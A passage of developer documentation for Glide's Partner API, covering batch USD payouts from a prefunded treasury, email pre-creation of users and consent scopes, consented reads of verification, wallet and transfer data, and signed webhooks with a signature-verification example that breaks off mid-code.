**You** deploy the receiver and validate it end to end: signature verification over the raw body, a five minute timestamp tolerance, deduplication by event id, and a 2xx only after durable acceptance. Confirm you can accept a repeat of the same event without double-applying it.
A configured, allowlisted endpoint is what makes `transfer.settled` reach you. Without it the payouts still work, and you find out about them only by polling.
## 7. Prove the whole path
Before activation, prove all of this in the configured environment with real money:
* A funded reserve you can reconcile.
* A small live batch, two recipients is enough.
* The credit visible in each user's personal Glide USD balance.
* A signed `transfer.settled` received and correlated on `transfer_id`.
* A user-authorized bank withdrawal completing from that balance.
Unit tests do not substitute for this. The verification provider, the key management path and webhook delivery only exercise properly in a configured environment.
## 8. Activate
**Glide** sets the treasury to `active`. Activation requires a valid active binding, a future mandate, an active partner and verified funding.
## Running it
Monitor continuously:
| Watch | Why |
| --------------------------------------- | --------------------------------------------------------------------------------------------- |
| Batch receipts and per-item results | Confirms what actually moved |
| Request and activity audits | Every call is audited with a request id |
| Rolling and lifetime usage against caps | A cap hit surfaces as `policy_denied` with no remaining-allowance hint |
| Webhook delivery and attempt history | Eight attempts, then the event stops being retried |
| Reserve reconciliation | Reconcile against liabilities already credited to users, not just funds still in the treasury |
Keep actual cash-out liquidity. A credited user balance is a liability you have to be able to fund when the user withdraws.
## Stopping
Two switches with different blast radii:
| Ask Glide to | Effect |
| ------------------------ | --------------------------------------------------------------------------------------------------- |
| Suspend the treasury | Stops new payouts. Reads and webhook delivery keep working, and an authorized replay still resolves |
| Suspend the partner | Stops all API access and all webhook delivery immediately |
| Rotate the client secret | Old secret stops minting immediately. Already-issued tokens stay valid for up to an hour |
Use treasury suspension for a money problem, and partner suspension for a credential or trust problem. If a secret leaked, do both: rotate and suspend, because rotation alone leaves live tokens valid until they expire.
## Pre-launch checklist
* [ ] Token cached in process and refreshed before expiry, with a single retry on `invalid_token`.
* [ ] Client secret stored in a secret manager, never in source or logs.
* [ ] `payer_entity_id` pinned in configuration and checked before every batch.
* [ ] `execution_id` and `payout_id` generated once per obligation and persisted before the call.
* [ ] The same `Idempotency-Key` reused verbatim on every retry of a batch.
* [ ] Unconfirmed outcomes retried, never marked failed.
* [ ] Webhook signature verified over the raw body with a constant-time compare.
* [ ] Webhook events deduplicated by event id before side effects.
* [ ] Transfer polling overlaps its watermark and dedupes on id and updated timestamp.
* [ ] `amount_cents` parsed as an integer or decimal type, never a float.
* [ ] `request_id` logged from every error response.
# Partner API
Source: https://glide-9da73dea.mintlify.app/partners/index
Pay your users through Glide. Pre-create accounts by email, read consented KYC and wallet state, receive signed webhooks, and push batch payouts from a prefunded treasury.
The Partner API lets an external platform put money in its users' hands through Glide. You pre-create a Glide account for each of your users by email, the user consents to exactly what you may see, and you push USD payouts to them from a prefunded Glide treasury that Glide binds to your business entity.
Base URL for every call is `https://glide.co`.
## Who this is for
A creator marketplace, a payroll product, a freelance platform, or any business that owes money to a list of people and does not want to build banking. You keep the relationship and the obligation. Glide provides the account interface, wallet integration, identity verification flow, USD receiving details and ledger. Regulated services are provided by licensed partners.
If you are building an AI agent that spends from your own Glide account, you want [Agent banking](/agents/index) instead. The Partner API is about paying other people.
## The model
Glide owns the user. Partner pre-creation does not create a wallet, provision a bank account, perform identity verification, or grant you access to anything. Those resources appear as the user completes the normal Glide flows, and you see them only after the user grants you consent.
Three things have to line up before you can read a user's data or pay them:
1. **Your token entitlements.** Glide records which scopes your client may ever request. Your access token carries a subset of them.
2. **The user's grant.** The user approves a specific set of scopes for your partner on a Glide consent screen. Grants are read fresh on every request and every webhook attempt.
3. **The user's account status.** The user must be active.
Missing any of the three fails closed. Consent is personal and never exposes business-entity data.
## How the money moves
```
your treasury USD balance -> user's personal Glide USD balance -> user withdraws
(prefunded, capped) (synchronous, atomic book transfer) (USD to USDC, then bank)
```
A batch payout is a synchronous, atomic USD book transfer inside Glide. Settlement means spendable personal Glide USD credit. It does not mean a bank withdrawal or an on-chain transfer. The user then chooses when to convert and cash out, using Glide's own flows.
Receiving a payout does not require the user to be identity verified. Converting USD to USDC on the way to a bank withdrawal does require approved verification. A user can hold a Glide USD balance long before they finish verification.
## What you can call
Client credentials, JWT claims, scopes, rotation, and rate limits.
Pre-create by email, distribute the claim link, and read the five consent scopes.
Verification status, wallets, USD receiving account, and the personal ledger.
Batch treasury transfers, idempotency, caps, and replay semantics.
Signed delivery, verification, retries, and grant-bound cancellation.
Every code the API returns and what to do about it.
## Endpoints at a glance
| Method | Path | Scope | Limit |
| ------ | --------------------------------------- | --------------------- | ------- |
| POST | `/api/partner/oauth/token` | client credentials | 30/min |
| POST | `/api/partner/users` | authenticated partner | 60/min |
| GET | `/api/partner/users/:id/kyc` | `kyc:read` | 300/min |
| GET | `/api/partner/users/:id/wallets` | `wallet:read` | 300/min |
| GET | `/api/partner/users/:id/us-account` | `us_account:read` | 300/min |
| GET | `/api/partner/users/:id/transfers` | `transfers:read` | 300/min |
| POST | `/api/partner/kyc/:id/link` | `kyc:read` | 10/min |
| POST | `/api/partner/treasury/transfers/batch` | `treasury:write` | 10/min |
Limits are per partner and per operation, enforced by atomic Postgres counters shared across web workers. A 429 response carries `Retry-After: 60`.
All responses carry `Cache-Control: no-store` and an `X-Request-Id`. Every invocation is audited, including auth and input failures. If audit persistence fails, the request returns 503 rather than disclosing a successful read.
## What you do not get
* No private keys, signing capability, smart accounts or entity vaults.
* No identity documents, rejection reasons, provider tokens or verification blobs.
* No raw provider payloads, beneficiary details, or compliance and risk fields.
* No business-entity data belonging to the user.
* No way to widen a user's consent from the API. Only the user can grant scopes.
## Next
Start with [Authentication](/partners/authentication), then follow the end-to-end recipe in [Bring payments into your app](/cookbook/bring-payments-into-your-app).
# Payouts
Source: https://glide-9da73dea.mintlify.app/partners/payouts
Push 2 to 50 USD payouts in one atomic batch from your prefunded Glide treasury, with idempotency keys, per-item execution ids and exact replay semantics.
`POST https://glide.co/api/partner/treasury/transfers/batch`
One call moves USD from your prefunded Glide treasury into your users' personal Glide balances. The whole batch is a single synchronous database transaction. There is no queue, no provider call inside the transaction, and no partial success.
## The treasury model
Glide binds your partner record to exactly one business entity, one accounting owner, one entity-scoped USD balance, one external payer UUID and one reserve account. That binding is immutable once made. It does not create a business, approve it, or supply funds.
You prefund the treasury by settling real USD into the bound reserve account, then a Glide operator records the settlement against evidence. Funding is an operator attestation of already-settled external money, not a deposit API you can call.
Settlement through this endpoint means **spendable personal Glide USD credit**. It does not mean a bank withdrawal or an on-chain transfer. Both sides of each payout are completed transfer records with zero fee: a debit on your treasury and a credit on the user. The user's copy shows as incoming and is labelled **Payout from partner** in their transaction history.
## Requirements
| Requirement | Where it comes from |
| -------------------------------------------------------------------- | --------------------------------------------------- |
| `treasury:write` on your token | A Glide admin enables it on your token entitlements |
| An active treasury with an unexpired mandate | Glide binds, funds and activates it |
| A pre-creation receipt for each recipient | Your own `POST /api/partner/users` call |
| `payouts:receive` **and** `transfers:read` on each recipient's grant | The user's consent screen |
| Each recipient's account is active | The user |
This endpoint adds no verification, wallet, receiving-account or webhook gate of its own. A recipient with no verification can still be paid. Your token does not also need the read or receive scopes to call this endpoint, though you do need them to read the results back.
## Request
Headers:
| Header | Value |
| ----------------- | ---------------------------------------------------- |
| `Authorization` | `Bearer ` carrying `treasury:write` |
| `Content-Type` | `application/json` |
| `Idempotency-Key` | 1 to 128 characters from `[A-Za-z0-9._:-]`, required |
```json theme={null}
{
"payer_entity_id": "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
"currency": "USD",
"items": [
{ "execution_id": "11111111-1111-4111-8111-111111111111", "payout_id": "22222222-2222-4222-8222-222222222222", "user_id": "33333333-3333-4333-8333-333333333333", "amount_cents": "2500", "reference": "invoice-104" },
{ "execution_id": "44444444-4444-4444-8444-444444444444", "payout_id": "55555555-5555-4555-8555-555555555555", "user_id": "66666666-6666-4666-8666-666666666666", "amount_cents": "4000", "reference": "invoice-105" }
]
}
```
| Field | Rule |
| ---------------------- | ----------------------------------------------------------------------------------- |
| `payer_entity_id` | UUID. Must equal your binding's external payer id. It cannot select another balance |
| `currency` | Exactly `"USD"` |
| `items` | 2 to 50 entries. Every object is strict and rejects unknown fields |
| `items[].execution_id` | UUID, unique within the request. Your idempotency unit for one payment attempt |
| `items[].payout_id` | UUID, unique within the request. Your obligation identifier |
| `items[].user_id` | UUID of the recipient |
| `items[].amount_cents` | Positive integer string. No sign, decimals, exponent, whitespace or leading zero |
| `items[].reference` | 1 to 200 characters |
UUIDs are canonicalized to lowercase. Individual amounts and the request total must each be at most `9007199254740991`. The streamed body limit is 64 KiB, which comfortably fits 50 items.
The same user may appear more than once in a batch, as long as each entry is a distinct obligation with its own `execution_id` and `payout_id`.
### Choosing ids
`execution_id` identifies one attempt to move a specific amount to a specific user. Generate it once, store it next to the obligation in your database, and reuse it on every retry. `payout_id` identifies the obligation itself. Neither is generated by Glide, and neither should be regenerated because a call failed.
Never mint a fresh `execution_id` to "retry" a payment. A new id is a new payment. Retrying with the ids you already stored is what makes a lost response safe.
## Response
HTTP 200, including on replay, with one result per requested item **in request order**.
```json theme={null}
{
"batch_id": "77777777-7777-4777-8777-777777777777",
"treasury_entity_id": "88888888-8888-4888-8888-888888888888",
"currency": "USD",
"total_amount_cents": "6500",
"items": [
{ "execution_id": "11111111-1111-4111-8111-111111111111", "user_id": "33333333-3333-4333-8333-333333333333", "transfer_id": "99999999-9999-4999-8999-999999999999", "amount_cents": "2500", "state": "processed", "version": 1, "fee_cents": "0", "fee_included": false },
{ "execution_id": "44444444-4444-4444-8444-444444444444", "user_id": "66666666-6666-4666-8666-666666666666", "transfer_id": "bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb", "amount_cents": "4000", "state": "processed", "version": 1, "fee_cents": "0", "fee_included": false }
]
}
```
| Field | Notes |
| -------------------- | ------------------------------------------------------------------------------- |
| `transfer_id` | The user's credit transaction id. Store it against your payout |
| `state` | Always `processed`. There is no partial or pending state |
| `version` | Always `1` |
| `fee_cents` | Always `"0"` |
| `fee_included` | Always `false` |
| `total_amount_cents` | Includes reused items, so it can exceed the money actually debited by this call |
`transfer_id` is the correlation key for everything downstream. It appears in `GET /api/partner/users/:id/transfers` and in the `transfer.settled` webhook.
## Atomicity
The executor locks your partner mapping, treasury, relationship receipts, users and grant rows, validates the entity and balance binding, then credits recipients in a deterministic order. A revocation, suspension or configuration change either lands before execution or waits until the already-authorized transaction commits.
The success audit, batch response, receipts, treasury debit, user credits, paired transactions, activity entry and webhook outbox all commit together. If the audit or the outbox fails, the entire new batch rolls back. You will never receive a successful subset.
## Caps and policy
Under the treasury lock, Glide enforces the caps an operator configured with you:
| Cap | Applies to |
| ---------------------- | ------------------------------------ |
| Per item | A single item's amount |
| Per batch | The sum of new items in this request |
| Rolling 24 hours | New amount moved in the trailing day |
| Lifetime | New amount moved since binding |
| Transfers per hour | Count of new transfers |
| Transfers per 24 hours | Count of new transfers |
Only **new** transfers consume amount or count allowance, so replays are free. Hitting a cap exactly is allowed. A cap error names the limit it violated without revealing how much allowance you have left.
Caps must increase from per item through per batch and rolling 24 hours to lifetime. If a step-up amount is configured and an item exceeds it, this release denies the batch with `policy_denied`. There is no approval token that bypasses it. Ask Glide to raise the cap instead.
New executions additionally require an active treasury, an unexpired mandate, accepted owner membership in the active business entity, and verified funding. The debit itself is guarded by `available_balance >= new_total`, so an underfunded batch fails rather than overdrawing.
## Idempotency and replay
| Situation | Result |
| ------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- |
| Same key and canonical request | Original stored response. No new money, receipt, usage or event |
| Same key and a changed request, including reordered items | 409 `idempotency_conflict` |
| Different key, identical previously executed item | Reuses that item's `transfer_id`. Only unseen executions are debited |
| Reused `execution_id` with a changed recipient, payer, `payout_id`, amount, currency or reference | 409 `execution_conflict`. No item in the batch executes |
| Validation, policy or funds rejection | Rejection is audited. No settled batch is stored and no execution ids are consumed |
| Commit succeeded but you lost the response | Retry the same key and payload to recover the original body |
| Timeout or any uncertain outcome | Keep the execution ids and retry. Do not manufacture replacements |
An unconfirmed call is not a failed call. On a timeout, a dropped connection, a 5xx or an unparseable response, resend the identical body with the identical `Idempotency-Key`. A replayed 200 reconciles you against the transfers that already exist.
Replay still requires current partner authentication, receipt membership, active users and both current consents. Treasury suspension or an expired mandate stops **new** money movement while leaving an authorized replay available. A batch made entirely of reused items needs no new mandate and consumes no policy allowance.
Revoking a user's access can stop you reading a historical receipt. It does not reverse the payment. A later failure of the user's own bank withdrawal cannot change your completed treasury transfer either.
## Errors
Rate limit is 10 requests per minute per partner, with `Retry-After: 60` on a 429.
```json theme={null}
{ "error": { "code": "insufficient_funds", "message": "Treasury balance is insufficient for this batch", "request_id": "cccccccc-cccc-4ccc-8ccc-cccccccccccc" } }
```
| HTTP | Codes |
| ---- | ---------------------------------------------------------------------------------------------------------------- |
| 400 | `invalid_request`, `invalid_json` |
| 401 | `invalid_token`, with `WWW-Authenticate: Bearer` |
| 403 | `grant_required`, `partner_inactive`, `user_inactive`, `treasury_inactive`, `payer_not_allowed`, `policy_denied` |
| 404 | `user_not_found`, `treasury_not_configured` |
| 409 | `idempotency_conflict`, `execution_conflict`, `insufficient_funds` |
| 413 | `body_too_large` |
| 429 | `rate_limited` |
| 500 | `internal_error` |
| 503 | `auth_unavailable`, `audit_unavailable` |
See [Errors](/partners/errors) for what to do about each one.
## After settlement
The user's credit lands in their personal Glide USD balance immediately, visible under **Glide balance** in the Glide app. From there the user, not you, drives the cash-out:
1. Convert USD to USDC in Glide, reviewing the quoted fees. **This step requires approved verification.**
2. Continue to a bank withdrawal from the conversion receipt, or open the bank flow directly against available USDC.
Held balances are unchanged by your payout. A withdrawal that later fails restores the user's own funds and never touches your completed payout receipt.
## Treasury operations
These are Glide-side operations. Ask Glide to perform them; they are not partner-callable.
| Ask Glide to | What happens |
| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Bind your treasury | Supplies your entity, external payer id, reserve account, caps and mandate expiry, and creates an empty USD balance in `disabled` status |
| Configure policy | Sets per-item, per-batch, rolling 24 hour and lifetime caps, transfer counts, mandate expiry and an optional step-up amount. Each edit bumps a policy version and audits the before and after values |
| Record funding | Attests settled external USD against evidence, credits the balance and writes an immutable funding receipt |
| Set treasury status | `active`, `suspended` or `disabled`. Activation requires a valid binding, a future mandate, an active partner and verified funding |
| Report on the treasury | Returns configuration, available and held cents, rolling and lifetime usage, and recent funding receipts |
| List batches and transfers | Pages your batch history and per-batch items, including reused executions |
Binding cannot silently adopt existing funds, and funding receipts are immutable. Corrections need an explicit accounting operation rather than an edit. Treasury suspension leaves your reads and webhook delivery working and only stops new payouts. Partner suspension stops everything.
# Reading user data
Source: https://glide-9da73dea.mintlify.app/partners/reading-user-data
Read consented verification status, wallet addresses, USD receiving details and personal ledger history, and request a hosted verification link.
Four read endpoints and one action. Each needs its own consent scope, and each returns only what the user approved. All of them accept a UUID user id in the path and return HTTP 200 on success with `Cache-Control: no-store` and an `X-Request-Id`.
Every read is limited to 300 requests per minute per partner, except the hosted verification link, which is 10 per minute.
## Verification status
`GET /api/partner/users/:id/kyc` with scope `kyc:read`
```bash theme={null}
curl --request GET \
"https://glide.co/api/partner/users/11111111-1111-4111-8111-111111111111/kyc" \
--header "Authorization: Bearer $GLIDE_ACCESS_TOKEN"
```
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"status": "review",
"provider": "noah",
"updated_at": "2026-09-06T00:00:00.000Z"
}
```
| Field | Values |
| ------------ | -------------------------------------------------------------- |
| `status` | `not_started`, `in_progress`, `review`, `approved`, `rejected` |
| `provider` | Verification provider slug, or `null` |
| `updated_at` | ISO 8601 timestamp, or `null` |
With no record on file, `status` is `not_started` and both `provider` and `updated_at` are `null`.
You never receive documents, rejection reasons, provider tokens or verification data blobs. This endpoint reads the state that Glide's own verification workflows maintain, so it agrees with what the user sees in Glide.
## Wallets
`GET /api/partner/users/:id/wallets` with scope `wallet:read`
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"wallets": [
{
"network": "evm",
"address": "0x1111111111111111111111111111111111111111",
"provider": "privy"
}
]
}
```
Networks are `evm` and `solana`. Addresses are the authoritative user columns, refreshed when the user logs in. A user who has not claimed their account normally has an empty array, so treat an empty list as "not ready yet" rather than an error.
You never receive private keys, signing capability, smart accounts or entity vaults.
## USD receiving account
`GET /api/partner/users/:id/us-account` with scope `us_account:read`
Provisioned:
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"status": "provisioned",
"provider": "noah",
"currency": "USD",
"account": {
"account_number": "1234567890",
"routing_number": "021000021",
"bank_name": "Example Bank",
"account_holder_name": "Example Creator",
"bank_address": null,
"swift_code": null,
"reference": "example-reference"
},
"updated_at": "2026-09-06T00:00:00.000Z"
}
```
Not provisioned:
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"status": "not_provisioned"
}
```
The response is a discriminated union on `status`, so branch on it before reading `account`. Account and routing numbers are strings, never numbers. `bank_name`, `account_holder_name`, `bank_address`, `swift_code` and `reference` may be `null`.
This reads only the user's active personal USD receiving account, through an explicit allowlist of wire detail fields. Raw provider payload fields are excluded. A missing account or routing number reports `not_provisioned`.
This GET never starts provisioning. If a user has no receiving account, the user has to complete the deposit-details flow inside Glide. Polling this endpoint will not create one.
These are the user's personal receiving details from the deposit flow. Personal bank deposits and the partner-funded **Glide balance** are distinct funding paths. They are not funding instructions for your treasury. See [Payouts](/partners/payouts).
## Transfers
`GET /api/partner/users/:id/transfers` with scope `transfers:read`
Returns the user's personal ledger: deposits, withdrawals, transfers and other recorded personal movements. Rows belonging to a business are excluded even when the user id matches.
### Query parameters
| Parameter | Type | Notes |
| --------- | -------------------------------- | ---------------------------------------- |
| `since` | RFC 3339 timestamp with timezone | Exclusive lower bound on `updated_at` |
| `limit` | integer, 1 to 100 | Defaults to 50 |
| `cursor` | opaque string | The `next_cursor` from the previous page |
```bash theme={null}
curl --request GET \
"https://glide.co/api/partner/users/11111111-1111-4111-8111-111111111111/transfers?since=2026-09-06T00:00:00Z&limit=100" \
--header "Authorization: Bearer $GLIDE_ACCESS_TOKEN"
```
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"transfers": [
{
"id": "22222222-2222-4222-8222-222222222222",
"type": "transfer",
"amount_cents": "2500",
"currency": "USD",
"status": "completed",
"created_at": "2026-09-06T00:00:00.000Z",
"updated_at": "2026-09-06T00:01:00.000000Z",
"completed_at": "2026-09-06T00:01:00.000Z"
}
],
"next_cursor": null
}
```
`amount_cents` is an exact string-encoded minor-unit integer, selected as text so no precision is lost in JavaScript. Parse it as a big integer or a decimal type, never as a float. `status`, `currency` and `completed_at` can be `null` on older rows. Raw metadata, beneficiary details and compliance or risk fields are not exposed.
### Paging and polling
Results sort by `updated_at` ascending, then `id` ascending, at full timestamp precision. Preserve your `since` value while paging, follow `next_cursor` until it comes back `null`, and only then advance your watermark.
```ts theme={null}
async function pollTransfers(userId: string, since: string) {
const rows: unknown[] = [];
let cursor: string | null = null;
do {
const url = new URL(`https://glide.co/api/partner/users/${userId}/transfers`);
url.searchParams.set('since', since);
url.searchParams.set('limit', '100');
if (cursor) url.searchParams.set('cursor', cursor);
const res = await fetch(url, {
headers: { Authorization: `Bearer ${await getAccessToken()}` },
});
if (!res.ok) throw new Error(`glide transfers ${res.status}`);
const page = (await res.json()) as {
transfers: { id: string; updated_at: string }[];
next_cursor: string | null;
};
rows.push(...page.transfers);
cursor = page.next_cursor;
} while (cursor);
return rows;
}
```
This is an incremental view, not a frozen snapshot. Rows can change while you page. Overlap your last watermark by a safe margin and deduplicate on `(id, updated_at)` before you apply anything. Doing both makes a repeated row harmless.
An invalid or expired cursor returns `400 invalid_cursor`. Start the page again from your watermark rather than trying to repair the cursor.
## Request a hosted verification link
`POST /api/partner/kyc/:id/link` with scope `kyc:read`, limited to 10 per minute
Send no body.
```bash theme={null}
curl --request POST \
"https://glide.co/api/partner/kyc/11111111-1111-4111-8111-111111111111/link" \
--header "Authorization: Bearer $GLIDE_ACCESS_TOKEN"
```
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"status": "created",
"provider": "noah",
"url": "https://checkout.noah.com/kyc/example"
}
```
| `status` | `url` | Meaning |
| ------------------ | ------ | -------------------------------------------------- |
| `created` | a URL | Open it for the user to complete verification |
| `already_approved` | `null` | The user is already verified. Nothing to do |
| `pending` | `null` | The provider is still reviewing and has no new URL |
Glide retains the provider and customer mapping and handles the callbacks, so you get status changes through `kyc.status_changed` rather than by polling the provider. Requests for the same user are serialized, so two concurrent calls will not create two verifications.
The consent copy for `kyc:read` explicitly includes permission to request this link, so no extra consent step is needed.
Failure cases worth handling: a user who already has verification with a different provider returns `409 kyc_provider_conflict`, because partners cannot silently switch providers. Suspended or closed users cannot start verification. Sandbox placeholder URLs are rejected with `503 provider_unavailable`.
## Which user is ready for what
| You want to | The user needs |
| --------------------------------------------- | ---------------------------------------------------------------------- |
| Receive a payout into their Glide USD balance | An active account, plus `payouts:receive` and `transfers:read` consent |
| Convert USD to USDC on the way to a bank | Approved verification |
| Withdraw USDC to a bank | A completed conversion, then Glide's bank transfer flow |
Do not gate your own payout on verification. A user can hold a Glide USD balance long before they finish verifying, and Glide surfaces the verification prompt when they try to cash out.
# Users and consent
Source: https://glide-9da73dea.mintlify.app/partners/users-and-consent
Pre-create a Glide user by email, send them the claim link, and understand what the five consent scopes let you see.
You bring the email address. Glide creates a placeholder account, hands you a stable user id, and gives you a link that takes the person to a consent screen. Nothing else happens until they sign in and approve.
## Pre-create a user
`POST https://glide.co/api/partner/users`
Requires an authenticated partner token. No user scope is needed, because there is no user yet. This is the one endpoint that does not require a user grant.
Send `Content-Type: application/json` with a body of at most 4096 bytes. Unknown fields are rejected.
```bash curl theme={null}
curl --request POST https://glide.co/api/partner/users \
--header "Authorization: Bearer $GLIDE_ACCESS_TOKEN" \
--header 'Content-Type: application/json' \
--data '{ "email": "creator@example.com" }'
```
```ts TypeScript theme={null}
const res = await fetch('https://glide.co/api/partner/users', {
method: 'POST',
headers: {
Authorization: `Bearer ${await getAccessToken()}`,
'Content-Type': 'application/json',
},
body: JSON.stringify({ email: 'creator@example.com' }),
});
const { user_id, created, claim_link } = await res.json();
```
Request:
```json theme={null}
{ "email": "creator@example.com" }
```
Response:
```json theme={null}
{
"user_id": "11111111-1111-4111-8111-111111111111",
"created": true,
"claim_link": "https://glide.co/partner/consent?partner=example-market&scopes=kyc%3Aread+wallet%3Aread+us_account%3Aread+transfers%3Aread+payouts%3Areceive"
}
```
| Field | Notes |
| ------------ | ------------------------------------------------------------------------------------- |
| `email` | Trimmed and lowercased using Glide's identity policy. Maximum 254 characters |
| `user_id` | UUID. Stable forever, including after the user claims the account |
| `created` | Describes the **first** call for this partner and email. It does not change on replay |
| `claim_link` | The consent URL to send the user. Glide sends no email |
Repeated pre-creation returns HTTP 200 with the same `user_id`. A transaction plus the unique email constraint and a per partner and email receipt makes retries stable. If the user already exists on Glide, you get `created: false` and the existing id.
Another partner can link the same Glide user. The two grants stay independent, and neither partner learns about the other.
### Rate limit
60 requests per minute per partner. A 429 carries `Retry-After: 60`.
## Send the claim link
Glide does not email anyone on your behalf. Put the `claim_link` in your own onboarding email, dashboard banner or in-app card, and tell the user which email address to sign in with.
The claim link is navigation to a consent screen, not a bearer capability and not a login bypass. It carries no email and no user id. It is safe to render in your UI, but it does nothing on its own.
The user must sign in with the email you pre-created. On the first authenticated request from the consent screen, Glide fetches the identity from Privy server-side and atomically attaches the verified Privy id, but only where the account's email matches and no Privy identity is attached yet.
That compare-and-set has consequences worth stating plainly:
* The Glide user id, your receipt and any grants are preserved through the claim.
* The claim can never replace another Privy identity that is already attached.
* An identity with no email cannot claim an account.
* A user who already has a Glide account continues through normal login.
* Signing in with a **different** email consents for that other account. It does not claim the pre-created one, and you will keep seeing an unclaimed placeholder.
If a user signs in with the wrong address, pre-create the address they actually used, then send them that claim link.
## Account type
Partner placeholders have no account type. After signing in with the verified email and claiming the account, the owner chooses Individual or Company through Glide's existing one-time type selection. Pre-creation cannot select the type, and it cannot change a type that is already established.
## The consent screen
The user lands on `https://glide.co/partner/consent`, signs in, sees your partner name and the exact permissions you requested, and clicks **Allow access**.
Approving replaces that user's scope set for your partner with exactly what they approved. It is a replacement, not a merge. A user who re-consents with fewer scopes has narrowed your access.
Users manage this at **Settings** then **Integrations**, where every grant is listed with a **Revoke access** action. Both personal and business users see it. Consent is personal, and it never exposes business-entity data to you.
## The five consent scopes
| Scope | What the user sees | What it lets you call |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------- |
| `kyc:read` | View verification status and request a hosted verification link | `GET /users/:id/kyc`, `POST /kyc/:id/link`, and `kyc.status_changed` events |
| `wallet:read` | View your wallet addresses | `GET /users/:id/wallets` |
| `us_account:read` | View your USD receiving account details | `GET /users/:id/us-account`, and `us_account.provisioned` events |
| `transfers:read` | View your personal transfer history | `GET /users/:id/transfers`, and `transfer.settled` and `transfer.failed` events |
| `payouts:receive` | Receive payouts from this partner | Being a recipient in a treasury batch |
Request only what you need. The consent screen shows the exact list, so a shorter list converts better.
To pay a user you need **both** `payouts:receive` and `transfers:read` on their grant. `payouts:receive` alone is not enough, because the payout writes a transfer the user must be able to see.
## How access is checked
Grants are read fresh on every user endpoint and every webhook attempt. Both your token scope and the user's grant must cover the scope the endpoint needs.
| Situation | Result |
| ---------------------------------------------------------------- | ---------------------- |
| Token scope and user grant both cover the endpoint | 200 |
| Relationship exists but consent is absent, revoked or too narrow | 403 `grant_required` |
| No pre-creation receipt and no grant for your partner | 404 `user_not_found` |
| User id belongs exclusively to another partner | 404 `user_not_found` |
| Your partner is suspended | 403 `partner_inactive` |
| The user is not active | 403 `user_inactive` |
A 404 is deliberate. Glide will not confirm that a user id exists on a platform that has no relationship with them.
Consent is never expanded automatically. If you need a scope you do not have, send the user back through the consent screen with the wider scope list.
## Revocation
A user can revoke at any time from **Settings** then **Integrations**. Revocation takes effect on the next request and the next webhook attempt. Queued webhook events bound to the revoked grant are cancelled, and re-granting does not release events queued under the prior consent.
Revoking access can stop you reading a historical receipt. It does not reverse a payment you already made.
# Webhooks
Source: https://glide-9da73dea.mintlify.app/partners/webhooks
Receive signed kyc, account and transfer events. Verify X-Glide-Signature over the raw body, dedupe by event id, and return 2xx.
Glide pushes four event types to an HTTPS endpoint you register. Delivery is at least once, ordering is not guaranteed, and every attempt rechecks that the user's consent still covers the event.
## Register an endpoint
Ask Glide to add your URL to your partner's allowlist and configure the endpoint. Glide returns the `endpoint_id` and the signing secret **once**, and stores only encrypted ciphertext bound to that endpoint.
Each allowlisted URL gets its own independent secret, which limits how far a leak can reach. Rotation is also a Glide-side operation, so coordinate it with your deploy: attempts pending at the moment of rotation use the new secret, and attempts already in flight may still carry the previous one. Accept both secrets for a short window.
Requirements Glide enforces on your endpoint:
* HTTPS on port 443.
* Every DNS result must be a public address. The connection is pinned to the validated IP.
* No redirects are followed. A 3xx is a terminal failure, not a hop.
* DNS and request timeouts bound each attempt.
## Events
| Type | Scope required | Fires when |
| ------------------------ | ----------------- | -------------------------------------- |
| `kyc.status_changed` | `kyc:read` | Verification status changes |
| `us_account.provisioned` | `us_account:read` | A USD receiving account is provisioned |
| `transfer.settled` | `transfers:read` | A personal ledger transfer completes |
| `transfer.failed` | `transfers:read` | A personal ledger transfer fails |
Every event shares `id`, `type`, `user_id` and `occurred_at`, with a per-type `data` object.
```json theme={null}
{
"id": "44444444-4444-4444-8444-444444444444",
"type": "kyc.status_changed",
"user_id": "11111111-1111-4111-8111-111111111111",
"occurred_at": "2026-09-06T00:00:00.000Z",
"data": { "status": "approved", "provider": "noah" }
}
```
```json theme={null}
{
"id": "44444444-4444-4444-8444-444444444444",
"type": "us_account.provisioned",
"user_id": "11111111-1111-4111-8111-111111111111",
"occurred_at": "2026-09-06T00:00:00.000Z",
"data": {
"account_id": "55555555-5555-4555-8555-555555555555",
"currency": "USD",
"provider": "noah"
}
}
```
```json theme={null}
{
"id": "44444444-4444-4444-8444-444444444444",
"type": "transfer.settled",
"user_id": "11111111-1111-4111-8111-111111111111",
"occurred_at": "2026-09-06T00:00:00.000Z",
"data": {
"transfer_id": "22222222-2222-4222-8222-222222222222",
"status": "completed",
"amount_cents": "2500",
"currency": "USD"
}
}
```
```json theme={null}
{
"id": "44444444-4444-4444-8444-444444444444",
"type": "transfer.failed",
"user_id": "11111111-1111-4111-8111-111111111111",
"occurred_at": "2026-09-06T00:00:00.000Z",
"data": {
"transfer_id": "22222222-2222-4222-8222-222222222222",
"status": "failed",
"amount_cents": "2500",
"currency": "USD"
}
}
```
Events carry no bank details and no identity documents. When you need the current picture, call the scoped read endpoint rather than treating the event body as the record.
`transfer.settled` is how a payout you pushed reports back. Correlate on `data.transfer_id`, which is the same id the batch response returned for that item. Transfer events cover the same personal ledger population as the transfers read endpoint, so events also arrive for movements you did not cause.
## Headers
| Header | Value |
| ------------------- | --------------------------------------- |
| `Content-Type` | `application/json` |
| `Idempotency-Key` | The event `id` |
| `X-Glide-Signature` | `t=,v1=` |
## Verify the signature
Compute HMAC-SHA256 over the exact string `${timestamp}.${rawRequestBody}` using your endpoint secret, then compare in constant time. Use the raw bytes of the body. Re-serializing parsed JSON will change whitespace or key order and break the signature.
```ts theme={null}
import crypto from 'node:crypto';
import express from 'express';
const app = express();
const SECRET = process.env.GLIDE_WEBHOOK_SECRET!;
const TOLERANCE_SECONDS = 300;
function verifySignature(header: string | undefined, rawBody: Buffer): boolean {
if (!header) return false;
let timestamp = '';
let signature = '';
for (const part of header.split(',')) {
const [key, value] = part.trim().split('=');
if (key === 't') timestamp = value ?? '';
